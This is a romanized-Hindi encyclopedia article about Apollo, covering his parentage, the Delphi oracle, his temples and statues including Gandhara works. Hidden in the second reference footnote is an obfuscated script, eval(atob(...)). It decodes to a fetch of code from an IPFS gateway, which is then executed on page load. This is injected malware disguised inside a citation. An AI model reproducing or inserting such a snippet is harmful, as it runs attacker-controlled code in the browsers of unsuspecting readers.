अपोलो
apolo
| |
| pita | jyoos |
| mata | leto |
| dharm-sanpraday | yoonani dharm |
| rang-roop | moortiyoan mean apolo ko nagn roop mean bahut sundar dikhaya gaya hai. inhean sauandary, yuddh, bhavishyavani, shakti, saty, nyay tatha pavitrata ka pratik mana jata hai. |
| sanbandhit lekh | jyoos, yoonan, rom |
| vishesh | bharat ke prachin ganjaer pradesh mean bhi, jahaan pahali shati ee. ki hindoo-yavan athava gaandhar moortikala shaili ka janm hua, grik kalavantoan ki chheni ke sparsh se apolo ki anek moortiyaan nirmit hueean. |
| any janakari | yoonaniyoan ka vishvas tha ki svayan apolo samasamayik samasyaoan par bhavishyavani pavitr pujarini ke muanh se karate haian aur unaki rajanitik tatha samajik samasyaoan ko apani vani se sulajha dete haian. |
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apolo yoonan (gris) ke pradhan devataoan mean se ek. inhean sauandary, taruny, yuddh aur bhavishyakathan ka devata mana jata hai. prachin grik nari 'delfi' ka vishesh aradhy. 'dionisash' ko chho dakar apolo ke barabar koee doosara lokapriy devata grikoan ka upasy nahian hua. apolo prachin yoonani dharm[1] aur prachin roman dharm ke sarvochch devataoan mean se ek the. unake liye prachin yoonan aur itali mean kee khoobasoorat mandir banaye ge the, jahaan unake nam par pashubali chadhaee jati the. moortiyoan mean apolo ko atyadhik khoobasoorat, nagn roop mean yuva ke saman dikhaya gaya hai. ve vyayamashala mean yuvaoan ke isht dev the.[2]
janm
grik pauranik kathaoan ke anusar, apolo ka janm devaraj 'jyoos' aur mata 'leto' se hua tha. jyoos bharatiy devata indr ki bhaanti apatnigami tha. jab usane 'jae leto' se pranay kiya to usaki patni 'hira' ne leto ka sarvanash karane ki thani. usane us garbhini patipriya ko nana prakar ke du:kh die aur leto ko dar-dar ki thokarean khani p dian. aant mean samudr mean bahate hue shiladvip par usane ek putr ko janm diya, jo paurush aur sauandary ka pratik 'apolo' nam se yoonani aur roman kathaoan mean prasiddh hua. shakti, saty, nyay, pavitrata adi naitik gunoan ka vah pratishthata bana aur usaki kathaoan se yoonaniyoan ke puran bhar ge.[3]
pooja tatha mandir
yooan to yoonan aur ayoniya ke atirikt dvipoan aur pradhan bhoomi par jahaan-jahaan grik jatiyoan ki bastiyaan thian, vahaan-vahaan sarvatr hi, pichhe rom adi ke nagaroan mean bhi, apolo ke mandir bane; parantu unaki vishesh pooja delfi ke nagar mean pratishthit huee, jahaan prachin kal mean unaka sabase prasiddh mandir kh da hua tha. grik itihas mean vikhyat delfi ke bhavishyakathan, jinaka atul adhikar chhathi se chauthi shati ee. poo. ke etheans par tha, visheshat: isi devata se sanbandh rakhate haian.
yoonani vishvas
yoonaniyoan ka vishvas tha ki svayan apolo samasamayik samasyaoan par bhavishyavani pavitr pujarini ke muanh se karate haian aur unaki rajanitik tatha samajik samasyaoan ko apani vani se sulajha dete haian. delfi mean apolo ke tyohar se sanbandhit kee dinoan tak chalane vale kheloan ka satr hua karata tha, jo prasiddh olianpiyaee kheloan se kisi prakar bhi kam nahian tha.[3]
lokapriy devata
'dionisash' ko chho dakar apolo ke barabar koee doosara lokapriy devata grikoan ka upasy nahian hua aur vah diyonisash athava aphroditi ki bhaanti paurvaty vishvasoan ke ayat se bhi utpann nahian tha, balki grikoan ka niji devata tha. unake devaraj jyoos ka putr aur bhagini atamish ka ju davaan bhaee, jo grikoan ki hi bhaanti ban dvara lakshyavedh mean anupam kushal tha.
moortiyaan
apolo ki prachin kal mean hajaroan moortiyaan banian. grik jahaan kahian bhi ge- sisali mean, siriya mean, panjab mean- sarvatr unhoanne apane is priy devata apolo ki moortiyaan banaee. bharat ke prachin ganjaer pradesh mean bhi, jahaan pahali shati ee. ki hindoo-yavan athava gaandhar kala ka janm hua, grik kalavantoan ki chheni ke sparsh se patthar phoota aur apolo ki anek moortiyaan nirmit hueean. parantu us devata ki abhiram, sammohak aur sarvottam moortiyaan aj rom aur vatikan ke sangrahalayoan mean surakshit haian. in moortiyoan mean apolo ka atyant akarshak chharahara tan dekhakar aisa lagata hai jaise saanche mean dhal diya gaya ho.[3]
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tika tippani aur sandarbh
- ↑ grik dharm
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 147,148 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 3.0 3.1 3.2 apolo (hindi) indiya v aautar portal. abhigaman tithi: 22 agast, 2014.
sanbandhit lekh
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